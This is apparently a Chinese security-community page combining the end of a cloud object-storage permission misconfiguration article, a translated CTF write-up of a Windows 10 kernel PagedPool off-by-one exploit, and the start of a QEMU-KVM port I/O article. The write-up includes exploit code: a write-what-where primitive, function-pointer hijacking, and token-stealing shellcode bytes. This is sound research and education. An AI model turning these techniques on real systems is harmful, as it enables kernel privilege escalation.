在用户策略、用户组策略、存储桶 Policy、存储桶 ACL 中通过grant-*明确指定特定用户针对特定用户有明确的 Allow 策略。
**03隐式拒绝**
在默认情况下（未经配置的情况下），所有请求都被隐式拒绝（deny）。
**显示拒绝、显式允许、隐式拒绝之间的关系如下：**
如果在用户组策略、用户策略、存储桶策略或者存储桶/对象访问控制列表中存在显式允许时，将覆盖此默认值。任何策略中的显式拒绝将覆盖任何允许。
在计算访问策略时，应取基于身份的策略（用户组策略、用户策略）和基于资源的策略（存储桶策略或者存储桶/对象访问控制列表）中策略条目的并集，根据显示拒绝、显式允许、隐式拒绝之间的关系计算出此时的权限策略。
_图 22存储桶鉴权流程_
通过上图，我们可以很清楚的理解存储桶的鉴权流程。
## 访错误配置导致的安全问题
### 错误使用公有读写权限
在所有错误配置导致的存储桶安全问题中，最常见的一种便是错误的使用了公有读写权限导致的安全问题。
_图 23配置存储桶公有读写访问权限_
通过上文的分析可知，公有读权限可以通过匿名身份直接读取用户存储桶中的数据，存在着严重的安全隐患。
但是有些用户为了避免使用繁杂且细粒度的权限配置，会错误的将其存储桶设置为公有读写，这将导致了其存储桶中的内容被攻击者窃取与篡改。正如本文前言中所描述的2017美国国防部承包商数据泄露案例。即便是美国国防部承包商，在使用存储桶进行对象存储时，也会犯下这样的常见错误。
因此，为了保障存储桶安全，建议用户为存储桶配置私有读写权限。
### 存储桶、对象访问权限差异性问题
存储桶权限与对象权限的差异性，往往会为对象资源来安全性问题。
在实际操作中，为了存储桶的安全起见，存储桶的公共权限往往会被设置为私有读写，这也是存储桶的默认公共权限配置，见下图：
_图 24配置存储桶私有读写权限_
存储桶的私有权限表明，只有该存储桶的创建者及有授权的账号才对该存储桶中的对象有读写权限，其他任何人对该存储桶中的对象都没有读写权限。
但是将存储桶的公共权限设置为私有读写可以完全保护存储桶中的中的对象资源不被读取吗?
在我们测试的这个存储桶中，并未设置Policy策略，并且存在着一个名为p2.png的对象。
_图 25 p2.png对象_
而从上文可知，存储桶中的对象也有着其对应的对象权限。
在这里我们将对象p2.png的ACL权限设置为公有读私有写，见下图：
_图 26为p2.png对象配置公有读私有写_
通过访问p2.png资源url可以发现，此时p2.png对象可以被访问，见下图：
_图 27成功访问p2.png对象_
测试表明，当存储桶公共权限设置为私有读写时，当存储桶中的对象公共权限为公有读私有写时，此对象依然是可以被读取的。
实际原理很简单，我们为对象p2.png设置了公有读私有写ACL策略，此时对象资源p2.png的ACL如下：
根据上文访问策略评估机制一章可知，对象p2.png设置了AllUsers用户组的显性允许READ权限，因此当匿名用户访问p2.png时，即使存储桶设置了私有读写权限，依然可以访问此对象，原理图见下图：
_图 28 访问p2.png时的鉴权流程_
因此，单单依靠存储桶的访问权限，并不能保护其中资源的未授权访问情况。为存储桶中资源配置对应的访问权限，才可以保证对象的安全性。
## 错误授予的操作ACL权限
在Policy权限设置中，如果授权用户操作存储桶以及对象ACL的权限（GET、PUT）见下图：
_图 29授予用户操作ACL权限_
即使Policy中没有授权该用户读取存储桶、写入存储桶、读取对象、写入对象的权限，这个操作依然是及其危险的，因为该用户可以通过修改存储桶以及对象的ACL进行越权。
我们在coscmd中配置授权用户的密钥信息后，通过coscmd list列出存储桶中内容。
_图 30存储桶list操作失败_
从返回结果来看，该用户并没有读取存储桶列表的权限
经过测试，用户同样也没有下载p2.png对象的权限，见下图：
_图 31下载对象操作失败_
但是我们却可以查询存储桶中对象的ACL，见下图：
_图 32成功查看对象ACL_
由于该用户拥有修改存储桶中对象ACL的权限，因此可以通过如下指令授予该用户读取p2.png的权限，见下图：
_图 33授予用户p2.png读权限_
在修改过p2.png权限之后，可以顺利的将此对象下载到本地。
_图 34成功下载p2.png对象_
### 资源超范围限定
在使用存储桶进行对象读取或写入操作时，如果没有合理的或者错误的在Policy中配置用户允许访问的资源路径（resource），则会出现越权访问，导致用户数据被恶意上传覆盖或被其他用户下载等安全问题。
在Web应用开发中，经常会发生此类问题。设想以下场景：在一个Web应用使用对象存储来存储用户头像，且通过前端直传的方式将用户上传的头像传至存储桶中，并希望在存储桶/avatar/路径中存储桶用户的头像，由于后端开发时为了方便而进行了不规范的存储桶Policy配置，在生成用户用以上传头像的临时密钥时直接将此临时密钥允许访问的
resource 指定为 qcs::cos::uid/:/avatar/*路径。
这样以来，系统为每个用户所生成的用以上传以及浏览头像的临时密钥虽然不尽相同，但是这个临时密钥都拥有qcs::cos::uid/:/avatar/*路径中的所有资源的读写权限。
这一错误的配置导致了很多严重的安全问题，由于在此场景下，Web应用程序使用前端直传的方式访问存储桶，因此后台生成的临时密钥将会发送给前台，任意用户通过网络抓包等手段获取到的临时凭据，可参见下图流量中响应包内容。
_图 35从流量中获取临时凭据_
在获取了临时密钥之后，攻击者凭借此凭据读写qcs::cos::uid/:/avatar/*路径中的任意对象。
攻击者可以通过此方式覆盖目录中其他用户资源，见下图：
_图36覆盖其他用户资源_
上图攻击者通过test.txt文件覆盖了16.png。当然，攻击者也可以轻易的读取此目录中其他用户的文件。
针对此问题的修复方式如下：可以通过每个用户的用户标识来为每一个用户设置一个独用的路径，例如可以在为用户生成临时密钥时，将policy中resource
指定为 qcs::cos::uid/:/avatar//*来满足规范要求；此外，resource 字段支持以数组的形式传入多个值。因此，也可以显式指定多个
resource 值来完全限定用户有权限访问的最终资源路径。
## 写在后面
对象存储服务作为一项重要的云上服务，承担了存储用户数据的重要功能。从上文分析可见，对象存储服务提供了细粒度的访问权限控制功能，以保证用户数据的安全性。
但是由于用户使用对象存储服务时安全意识不足或对访问权限以及访问策略评估机制错误的理解，将会导致数据被非法访问或篡改。这些错误的配置包括用户错误的使用公有读写权限、错误授予操作ACL权限、配置资源超过范围限定以及对存储桶权限机制错误理解等，这些错误的配置将会造成严重的安全问题。
因此，深入了解对象存储服务所提供的访问权限以及访问策略评估机制，并始终遵循最小权限原则，将会为存储桶中存储的数据安全构筑立体防护体系的一道坚固的门锁，与此同时，也可以通过检查存储桶日志以及文件时间戳来排查存储桶是否被侵害，确保云上资产的安全。
### 参考文献
<https://labs.detectify.com/2017/07/13/a-deep-dive-into-aws-s3-access-controls-taking-full-control-over-your-assets/>
<https://blog.lightspin.io/how-to-access-aws-s3-buckets>
<https://blog.lightspin.io/risks-of-misconfigured-s3-buckets>
<https://cloud.tencent.com/document/product/436/40265>
<https://main.qcloudimg.com/raw/document/intl/product/pdf/436_9511_zh.pdf>
* * * | 社区文章 |
# 利用Windows 10 PagedPool off-by-one溢出(WCTF 2018)
##### 译文声明
本文是翻译文章，文章原作者 j00ru，文章来源：j00ru.vexillium.org
原文地址：<https://j00ru.vexillium.org/2018/07/exploiting-a-windows-10-pagedpool-off-by-one/>
译文仅供参考，具体内容表达以及含义原文为准。
在7月6-8日的周末，我们的CTF团队-[Dragon
Sector](http://dragonsector.pl/)-参加了在北京举行的一场名为WCTF的邀请赛。 其他参与者是来自世界各地的顶级团队(e.g.
Shellphish, ESPR, LC↯BC or Tokyo Westerns)，
比赛的奖金总额达到了惊人的10万美元。这个CTF的一个特殊的规则是这些挑战是由团队自己而不是组织者准备的。
10个队伍每一队都要求提供两个题目，其中一个要求必须在Windows上运行。允许远程帮助，评分系统提供了一、二、三血加分奖励。在挑战比赛完成之后随之而来的是下一环节，陪审团和参与者在舞台上展示自己的题目时会获得额外的分数。
经过两天的竞争，我们作为CTF的亚军，完成了6/18项挑战任务， 排在冠军Tokyo Westerns (7/18)后面。
我对上述结果的贡献是通过[Eat, Sleep, Pwn,
Repeat](https://twitter.com/EatSleepPwnRpt)拿到“Searchme” 这一题的flag。它涉及利用Windows
10 64位中加载的易受攻击的内核驱动程序造成的PagedPool分配的off-by-one缓冲区溢出。
在CTF之后不久，原作者（@_niklasb）发布了驱动程序的源代码和相应的漏洞（github源码[niklasb/elgoog](https://github.com/niklasb/elgoog/)
、Twitter
上[讨论](https://twitter.com/_niklasb/status/1015889867811770368)），这表示我解法的一部分是非预期的。Niklas
使用off-by-one 来破坏分配元数据并且执行一些 _pool feng-shui_
去得到覆盖的pool块。另一方面，我在没有触及任何pool元数据的情况下，通过 _data-only_ 的攻击实现了类似的结果，这使得整个利用过程更加简单。
我鼓励您仔细分析Niklas的漏洞，如果您对我的方法感兴趣，请继续跟着做。
如果你想直接跳到exploit代码，
在这儿[GitHub](https://gist.github.com/j00ru/2347cf937366e61598d1140c31262b18) 。
## 初步观察
作为任务的一部分，我们提供了一个64位的Windows内核驱动程序，名为 searchme.sys 14kB的大小,有如下描述：
> <ip> 3389 flag is here: c:flag.txt, User:ctf, password:ctf
当我通过RDP连接到远程主机时，我可以作为一个常规的“ctf”用户登录。 searchme.sys
驱动程序被加载到系统中，想要在磁盘上拿到C:flag.txt 文件。但是正如预期那样，这个账户不能安全的读取：
在这一点上，很明显，挑战的目标是在searchme.sys中利用内核模式的漏洞，将权限提升到管理员或系统权限，然后从受保护的文件中读取flag。
当我在IDA Pro中加载这个模块时，我很快就发现它在设备DeviceSearchme 下注册了一个设备，并使用缓冲的[Buffered
I/O](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/using-buffered-i-o) 通信方案操作四个IOCTLs ：
* `0x222000` – allocates an empty object from PagedPool, saves it in a global array and returns its address to the caller（从PagedPool分配一个空对象，将其保存到全局数组中，并将其地址返回给调用者）
* 0x222004 – frees a previously allocated object（释放先前分配的对象）
* `0x222008` – adds a pair of `(char[16], uint32)` to an existing object（将一对（char 16，uint32）添加到现有对象中）
* `0x22200C` – transforms an existing object of type-0 to type-1 in a one-way, irreversible manner.(以一种单向的、不可逆转的方式将type-0的现有对象转换为type-1)。
由于IOCTLs 和 and #2 是不重要的，该漏洞肯定隐藏在#3或#4的实现中。
我简单地对在驱动程序中找到的整个代码进行了逆向工程（在Redford和impr的帮助下），以掌握它的功能，重命名符号并修复数据类型。
很明显，驱动程序维护了一个哈希映射，将文本字符串与数值列表相关联，而某种类型的二进制数据结构涉及到type-1对象，但是我仍然没有完全理解代码的基本目的(后来证明是
[binary interpolative
code](https://link.springer.com/article/10.1023/A:1013002601898)
).我也没有发现任何明显的利用点，但我注意到两种可疑的行为：
1. 在处理0x222008时，驱动程序不允许在与字符串标记关联的整数列表中重复。然而，它只检查了新添加的值，而不是在列表后面的那个。 比如：[1，2，2]列表由于相同的连续数而不被允许，但是[2，1，2]可以很好地创建。 考虑到这个列表是在稍后被另一个IOCTL处理的时候排序的，这似乎特别奇怪，这可能会使重复检测的整个点失效。
2. 在0x22200C处理器调用的嵌套函数中，找到了以下代码结构：
if (*cur_buf > buf_end) {
return 1;
}
假设buf_end是有效缓冲区之外的最小地址,这可能表示一个off-by-one
error，否则比较应该使用>=操作符。因为比较应该另外使用>＝运算符。由于遵循上面讨论的线索可能会耗费大量时间，所以我决定尝试一个更简单的路线，看看我是否能通过愚蠢的Fuzzing来触发任何崩溃。
这将允许我从一个已知的坏状态开始我的分析，而不是在一开始就花费时间搜索内存损坏原函数。
## Fuzzing 驱动程序
在fuzzing的环境下，驱动程序的通信接口被限制为4个简单的操作这个是很方便的，在开发阶段，我围绕`deviceIoControl`创建了几个包装函数，这些函数后来在实际的EXP中被重用。
fuzzer的核心非常简单-它以随机的方式无限地调用一个IOCTLs，但是格式化正确的输入参数(`token=["aa","bb"]`,
`value=[0..9]`). 在为searchme.sys启用[Special Pool](https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/special-pool)并启动fuzzer之后，只需几秒钟就可以在WinDbg中看到以下崩溃：
DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: ffffd9009c68b000, memory referenced
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation
Arg3: fffff8026b482628, if non-zero, the address which referenced memory.
Arg4: 0000000000000000, (reserved)
[...]
TRAP_FRAME: ffff820b43580360 -- (.trap 0xffff820b43580360)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=ffffd9009c68b000 rbx=0000000000000000 rcx=00000000fffffffe
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8026b482628 rsp=ffff820b435804f8 rbp=0000000000000000
r8=ffffd9009c68b000 r9=0000000000000000 r10=00007ffffffeffff
r11=ffff820b435804f0 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
searchme+0x2628:
fffff802`6b482628 0fbe00 movsx eax,byte ptr [rax] ds:ffffd900`9c68b000=??
崩溃发生在searchme+0x2628处，处在一个位写入函数—同样具有可以的*cur_buf > buf_end 比较语句。进一步的分析和实验 (e.g.
fuzzing 没有Special Pool的环境) 证实了溢出确实被限制为一个字节 。
就在那时，我灵机一动—-不久之前我看到过类似的代码！在快速的检查之后，结果证明是真的。“searchme” 任务实际上是几个月前从
[34C3](https://archive.aachen.ccc.de/34c3ctf.ccc.ac/) 中对
[elgoog2](https://archive.aachen.ccc.de/34c3ctf.ccc.ac/uploads/elgoog2-5eae901f059d56b3a8415043a0c17956.tar.gz)
修改和重新编译的版本。这个发现的直接好处是“elgoog”任务附带了调试符号，包括结构定义、函数名等等。
在做了更多的调查之后，我发现了[这条推文](https://twitter.com/_niklasb/status/947179509287194624)，它导致了这篇简短的[write-up](https://github.com/niklasb/34c3ctf-sols/tree/master/elgoog)，以及来自shiki7的来自Tea Deliverers的
[exploit](https://gist.github.com/marche147/6e7bb92d376a0f209b1b301aff418e88)
。 “SearchMe”中修补了非计划中的类型混淆bug，因此旧的exploit不再有效，但它仍然提供了一些有价值的见解。
此外，Niklas对Point(1)中的池缓冲区溢出的描述加强了我的信念，即这是要在这里利用的预期的bug。
因此，接下来的一两个小时，我把符号从“elgoog”移到我的“SearchMe”IDA数据库。
## 控制溢出
通过查看fuzzer发送的一系列命令来触发崩溃，我了解到溢出确实是由“compressing”
(IOCTL0x22200C)造成的，该对象包含一个带有重复条目的标记。由于我只能在分配的缓冲区之外写入一个字节，因此很可能需要仔细控制它的值。即使在调试符号的帮助下，我仍然不确定代码构造了什么数据结构，因此—如何精确地控制其内容。
为了避免浪费时间对算法进行深入研究，我无耻地复制了插值函数的大小和写插值函数
(及其依赖项)从十六进制反编译器到VisualStudio，并编写了一个简单的蛮力程序，测试各种随机输入列表的溢出字节。该工具的要点归结为以下几点：
// Fill input_buffer with random numbers and sort it.
memset(output_buffer, 0xaa, sizeof(output_buffer));
char *buf = output_buffer;
write_interpolative(&buf, input_buffer, 1, ARRAYSIZE(input_buffer) - 1);
size_t calculated = (interpolative_size(input_buffer, 1, ARRAYSIZE(input_buffer) - 1) + 7) / 8;
ptrdiff_t written = buf - output_buffer - 1;
if (written > 0 && calculated > 0 && written > calculated) {
const char kSearchedByte = 0;
if (output_buffer[calculated] == kSearchedByte) {
// Print input_buffer.
}
}
根据所需的值，可以操作input_buffer的长度和输入数字的范围。对于简单的0x00值，只需在[0,9]范围内使用5个数字就可以实现所需的效果：
C:> brute.exe
calculated: 4, written: 11, last byte: 0x00
input_buffer = {0, 1, 1, 1, 2}
calculated: 1, written: 4, last byte: 0x00
input_buffer = {0, 3, 4, 5, 5}
calculated: 1, written: 4, last byte: 0x00
input_buffer = {5, 7, 8, 9, 9}
[...]
有了选择溢出我们分配的单个字节的能力，是时候将基元提升到一个更强大的字节了。
## Data-only pool 破坏
如今使用的大多数动态分配器将元数据放在分配的内存块前面，这在历史上促进了许多通用堆利用技术。另一方面，它现在可能会使对小溢出的利用变得困难，因为元数据将特定于应用程序的对象彼此分离，并且常常受到广泛的完整性检查。必须在此提及以下两点参考：
[_A Heap of Trouble: Breaking the Linux Kernel SLOB
Allocator_](https://www.vsecurity.com/download/papers/slob-exploitation.pdf)
(Dan Rosenberg, 2012) and [_The poisoned NUL byte, 2014
edition_](https://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html) (Chris Evans and Tavis Ormandy, 2014).
在他的[计划方案](https://github.com/niklasb/elgoog/#intended-solution),
Niklas还使用pool元数据破坏来混淆内核池分配器，因此有两个不同的对象相互重叠，以实现更有用的基元。
这是一种有效的方法，但是它要求开发人员意识到分配器的内部工作原理，并精确地设置pool的布局以保证可靠的开发。
作为个人偏好，我发现攻击特定于程序的对象比内部系统结构更容易，所以我凭直觉开始寻找解决这个问题的方法。
这可能是一个鲜为人知的事实，在Windows内核中，小的分配(适合于单个内存页)的处理方式与大内存页不同 ，对于一些过时但仍然相关的细节， 看
[_Kernel Pool Exploitation on Windows 7_](https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf) (Tarjei Mandt, 2011) and
[_Sheep Year Kernel Heap Fengshui: Spraying in the Big Kids’
Pool_](http://www.alex-ionescu.com/?p=231) (Alex Ionescu, 2014).
在这个特定的例子中，我们感兴趣的是大池块的两个属性：
* 元数据是分开存储的，所以分配从页面对齐的地址开始，比如`0xffffa803f5892000`。
* 这些块通常在内存中相邻;例如，两个连续的`0x1000`大小的分配可以分别映射到`0xffffa803f5892000`和`0xffffa803f5893000`
在易受攻击的驱动程序中，我们可以精确地控制溢出的块的大小，直到大小为[0x10000](https://github.com/niklasb/elgoog/blob/master/searchme/index.c#L271)（16页）。
这足以将两个大的对象放在相邻的位置上，我们甚至可以确定相邻区域的精确对，这要归功于IOCTLs明显地返回所创建对象的内核模式地址。
我在CTF期间编写的一个简单工具成功地证实了这一点， 它创建了8个0x2000字节长的索引，并比较了它们的地址。产出与以下内容相似：
C:>adjacent.exe
[+] Source Index: ffffa803f2f79cb0
[1] Adjacent objects: ffffa803f61db000 --> ffffa803f61dd000
[2] Adjacent objects: ffffa803f61dd000 --> ffffa803f61df000
[3] Adjacent objects: ffffa803f61df000 --> ffffa803f61e1000
[4] Adjacent objects: ffffa803f61e1000 --> ffffa803f61e3000
[5] Adjacent objects: ffffa803f61e3000 --> ffffa803f61e5000
[6] Adjacent objects: ffffa803f61e5000 --> ffffa803f61e7000
[7] Adjacent objects: ffffa803f61e7000 --> ffffa803f61e9000
正如您所看到的，所有对象实际上都是在一个连续的0x10000字节块中相互映射的。 如果我们随后释放所有其他对象，在pool中创建 “holes”
，并立即分配一个由驱动程序覆盖的相同大小的新块，那么溢出应该与相邻索引对象的第一个字节重叠。如图所示:
在这一点上，我们应该查看存储在第一字节中的信息类型。事实证明，它是一个32位整数的最小有效字节，它指示对象的类型（type-0规则型，type
-1压缩型）。常规对象的结构定义如下所示 ：
struct _inverted_index {
/* +0x00 */ int compressed;
/* +0x08 */ _ii_token_table *table;
};
如果压缩成员为非零，则结构的布局非常不同 ：
struct _compressed_index {
/* +0x00 */ int compressed;
/* +0x04 */ int size;
/* +0x08 */ int offsets[size];
/* +0x?? */ char data[...];
};
由于对象的类型为0x00000000或0x00000001，我们的单字节溢出使我们能够将对象的类型从`compressed_index` 改为
`inverted_index` 。 类型混淆有一些方便的基元-在上面的结构中，我们可以看到偏移量8处的表指针与offsets[0] 和offsets[1]
的项重叠。 偏移数组中的值是相对于压缩索引的压缩数据的偏移量，因此它们相对较小。在我们的测试中，它们分别等于0x558和0x56C。
当二者组合并理解为64位地址时 ，这两个值形成了以下指针 ：`0x0000056c00000558`.
它不是常规应用程序中经常看到的典型地址，但它是一个规范的用户模式地址，可以由程序使用简单的Virtualalloc调用。
换句话说，类型混淆允许用户将敏感的内核模式指针重定向到用户空间，并对由驱动程序使用的_II_Token_Table结构进行完全控制。
如果我们在poc中实现了所讨论的逻辑，将对象的类型从1更改为0，然后尝试向损坏的索引中添加一个新的(keyword,
value)对，则在searchme.sys尝试从0x0000056c00000558取消引用内存时，我们应该观察到以下系统崩溃：
SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff8008b981fea, Address of the instruction which caused the bugcheck
Arg3: ffff948fa7516c60, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.
[...]
CONTEXT: ffff948fa7516c60 -- (.cxr 0xffff948fa7516c60)
rax=000000009b82a44c rbx=ffffcc8a26af7370 rcx=0000056c00000558
rdx=0000000000000000 rsi=ffffcc8a273fc20c rdi=ffff948fa75177d4
rip=fffff8008b981fea rsp=ffff948fa7517650 rbp=ffffcc8a2876fef0
r8=0000000000000001 r9=0000000000000014 r10=0000000000000000
r11=0000000000000000 r12=ffffcc8a2876fef0 r13=ffffcc8a29470180
r14=0000000000000002 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010246
searchme+0x1fea:
fffff800`8b981fea 48f77108 div rax,qword ptr [rcx+8] ds:002b:0000056c`00000560=????????????????
让我们更仔细地研究受控的 `_ii_token_table` 结构所提供的功能。
## 拿到一个任意写的身份
基于elgoog符号文件，我恢复了_II_Token_table和相关的_II_POST_List结构的原型，并将它们写成以下C定义：
struct _ii_posting_list {
char token[16];
unsigned __int64 size;
unsigned __int64 capacity;
unsigned int data[1];
};
struct _ii_token_table {
unsigned __int64 size;
unsigned __int64 capacity;
_ii_posting_list *slots[1];
};
在许多方面，上面的数据结构类似于C++中的std：map<string、std：Vector<unsiveint>结构。
当程序请求向索引中添加一个新的(token, value)对时，代码遍历slots
数组以查找与所提供的token相对应的posting列表，一旦找到，输入值将用以下表达式追加到列表中， 并带有以下表达式：
PostingList.data[PostingList.size++] = value;
考虑到Token表在我们的控制下， `_ii_posting_list.size`
字段是64位宽的，并且我们知道假posting列表的基址，这种行为转换为任意写基元是非常简单的。
首先，我们在静态内存中声明假的posting列表，其中有一个已知的名称(“fake”) 和容量等于`UINT64_MAX`:
namespace globals {
_ii_posting_list PostingList = { "fake", 0, 0xFFFFFFFFFFFFFFFFLL };
} // namespace globals
然后，我们编写一个函数来初始化特殊0x0000056c00000558地址的伪token表：
BOOLEAN SetupWriteWhatWhere() {
CONST PVOID kTablePointer = (PVOID)0x0000056c00000558;
CONST PVOID kTableBase = (PVOID)0x0000056c00000000;
if (VirtualAlloc(kTableBase, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) == NULL) {
printf("[-] Unable to allocate fake base.n");
return FALSE;
}
_ii_token_table *TokenTable = (_ii_token_table *)kTablePointer;
TokenTable->size = 1;
TokenTable->capacity = 1;
TokenTable->slots[0] = &globals::PostingList;
return TRUE;
}
最后，我们添加一个助手函数来触发4字节任意写条件：
VOID WriteWhatWhere4(ULONG_PTR CorruptedIndex, ULONG_PTR Where, DWORD What) {
globals::PostingList.size = (Where - (ULONG_PTR)&globals::PostingList.data) / sizeof(DWORD);
AddToIndex(CorruptedIndex, What, "fake");
}
有了这些，我们就可以测试它的工作原理：
WriteWhatWhere4(CorruptedIndex, 0x4141414141414141LL, 0x42424242);
这将在易受攻击的驱动程序中触发以下异常：
CONTEXT: ffff9609683dacb0 -- (.cxr 0xffff9609683dacb0)
rax=00007ff6a90b2930 rbx=ffffe48f8135b5a0 rcx=10503052a60d85fc
rdx=0000000042424242 rsi=ffffe48f82d7d70c rdi=ffff9609683db7d4
rip=fffff8038ccc1905 rsp=ffff9609683db6a0 rbp=ffffe48f82c79ef0
r8=0000000000000001 r9=0000000000000014 r10=0000000000000000
r11=0000000000000000 r12=ffffe48f82c79ef0 r13=ffffe48f81382ac0
r14=0000000000000002 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010206
searchme+0x1905:
fffff803`8ccc1905 3954881c cmp dword ptr [rax+rcx*4+1Ch],edx ds:002b:41414141`4141413c=????????
上面的崩溃日志并不能完全说明“写”操作，因为之前的一些无意义的阅读清单。数据，但攻击是有效的。
## 执行shellcode
在这一点上，我可以写任意的内核内存但是不能读，这就排除了直接从用户模式执行[data-only
attacks](https://improsec.com/blog/data-only-attacks-are-still-alive) 的选项。
然而，使用任意写的基元，执行ring-0 shellcode 应该只是一种形式
。在这种情况下，它变得更容易了，因为这个漏洞是在Medium完整性的情况下运行的，所以它可以访问内核模块的基本地址，并且可以通过NtQuerySystemInformation
的[各种信息类](https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain't%20one.pdf)获得其他有用的地址。
在[Black Hat USA 2017
talk](https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf) 中，Morten
Schenk提出，可以使用任意写入来覆盖驻留在win32kbase.sys
的.Data部分中的内核函数指针，更具体地说，可以覆盖来自NtGdiDdDDI*系列的图形系统使用的win32kbase！gDxgkInterface表中的内核函数指针。
实际上，系统调用处理程序是函数指针的简单包装器，并且不会破坏通过rcx、rdx、…寄存器传递的任何参数。，例如：
这允许攻击者用受控的参数来调用任意的内核函数，并接收返回值。正如Morten所讨论的，完整的利用过程只有几个简单的步骤：
1. 用`nt!ExAllocatePoolWithTag`地址覆盖函数指针。
2. 使用非`PagedPool`参数调用例程来分配可写/可执行内存。
3. 将ring-0 shellcode 写入分配的内存
4. 用shellcode的地址覆盖函数指针。
5. 调用shellcode.
上述方案使得能够在不破坏系统状态的情况下干净地执行所需的payload(除了一个覆盖的指针)。在他的论文中，Morten建议使用NtGdiDdDDICreateAllocation作为代理SysCall，
但是我发现它在Windows中的使用非常频繁，如果指针没有及时修复，系统就会出现故障。为了让我的生活更轻松一点，我选择了一种使用频率较低的服务，它似乎完全被我的exploit所调用：`NtGdiDdDDIGetContextSchedulingPriority`.
在实现代码中的逻辑之后，我可以享受任意的内核代码执行——在本例中，一个单独的int3指令：
kd> g
Break instruction exception - code 80000003 (first chance)
ffffc689`b8967000 cc int 3
0: kd> u
ffffc689`b8967000 cc int 3
ffffc689`b8967001 c3 ret
[...]
0: kd> !pool @rip
Pool page ffffc689b8967000 region is Nonpaged pool
*ffffc689b8967000 : large page allocation, tag is ...., size is 0x1000 bytes
Owning component : Unknown (update pooltag.txt)
## 提权
在Windows中，提高系统权限的一种更简单的方法是“窃取”系统进程的安全Token并将其复制到当前进程(特别是EPROCESS.Token)。
系统进程的地址可以在ntoskrnl.exe映像的静态内存中找到，位于nt!PsInitialSystemProcess 下面。
由于攻击只涉及在两个内核结构之间复制一个指针，shellcode 只包含六个指令：
// The shellcode takes the address of a pointer to a process object in the kernel in the first
// argument (RCX), and copies its security token to the current process.
//
// 00000000 65488B0425880100 mov rax, [gs:KPCR.Prcb.CurrentThread]
// -00
// 00000009 488B80B8000000 mov rax, [rax + ETHREAD.Tcb.ApcState.Process]
// 00000010 488B09 mov rcx, [rcx]
// 00000013 488B8958030000 mov rcx, [rcx + EPROCESS.Token]
// 0000001A 48898858030000 mov [rax + EPROCESS.Token], rcx
// 00000021 C3 ret
CONST BYTE ShellcodeBytes[] = "x65x48x8Bx04x25x88x01x00x00x48x8Bx80xB8x00x00x00"
"x48x8Bx09x48x8Bx89x58x03x00x00x48x89x88x58x03x00"
"x00xC3";
## Getting the flag
一旦替换了工具过程的安全token，我们就可以完全控制操作系统。我们可以启动一个提升的命令提示符并读取flag：
总而言之，在大约15个小时的工作之后，这个exploit已经发挥了作用，并为我们的一（也是最后一个）血奖金提供了120分+30分。
感谢Niklas创造了这个有趣的挑战，也感谢WCTF组织者举办了这次比赛。我认为这个任务和它的解决方案巧妙地说明了即使在今天，从理论上讲，在适当的环境条件下，在内核池中出现的小错误，例如在内核池中溢出的bug可能在概念上很容易被利用。在Windows中，缓冲区溢出的利用还没有死。:)
提醒，该exploit的完整源代码可以在[GitHub](https://gist.github.com/j00ru/2347cf937366e61598d1140c31262b18)上找到。
审核人：yiwang 编辑：边边 | 社区文章 |
# 【系列分享】探索QEMU-KVM中PIO处理的奥秘
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[Terenceli @ 360 Gear
Team](http://bobao.360.cn/member/contribute?uid=2612165517)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
我们都知道在kvm/qemu的虚拟机中向端口读写输入会陷入kvm中（绝大部分端口)。但是其具体过程是怎么样的，虚拟机、kvm和qemu这三者的关系在这个过程中又是如何相互联系来完成这一模拟过程的。
**本文就是对这一问题的探索，通过对kvm进行调试来了解其中的奥秘。**
**
**
**零. 准备工作**
工欲善其事，必先利其器。为了了解kvm如何对PIO进行截获处理，首先需要调试kvm，这需要
配置双机调试环境，网上很多例子，需要注意的是，4.x内核清除kernel text的可写保护有点问题。
所以本文还是用的3.x内核，具体为3.10.105。所以我们的环境是target为3.10.105的内核，debugger随意。
如果我们直接用kvm/qemu调试，由于一个完整的环境会有非常多的vm exit，会干扰我们的分析。 这里我们只需要建立一个使用kvm
api建立起一个最简易虚拟机的例子，在虚拟机中执行in/out 指令即可。网上也有很多这种例子。比如[ **使用KVM API实现Emulator
Demo, Linux KVM as a Learning
Tool**](http://www.linuxjournal.com/magazine/linux-kvm-learning-tool).
这里我们使用第一个例子，首先从
<https://github.com/soulxu/kvmsample>
把代码clone下来，直接make，如果加载了kvm应该就可以看到输出了，kvm的api用法这里不表，仔细看看
前两篇文章之一就可以了，qemu虽然复杂，本质上也是这样运行的。这个例子中的guest是向端口输出数据。
**
**
**一. IO端口在KVM中的注册**
首先我们需要明确的一点是，IO port 这个东西是CPU用来与外设进行数据交互的，也不是所有CPU都有。 在虚拟机看来是没有IO
port这个概念的，所以是一定要在vm exit中捕获的。
对于是否截获IO指令，是由vmcs中的VM-Execution controls中的两个域决定的。 参考intel SDM 24.6.2:
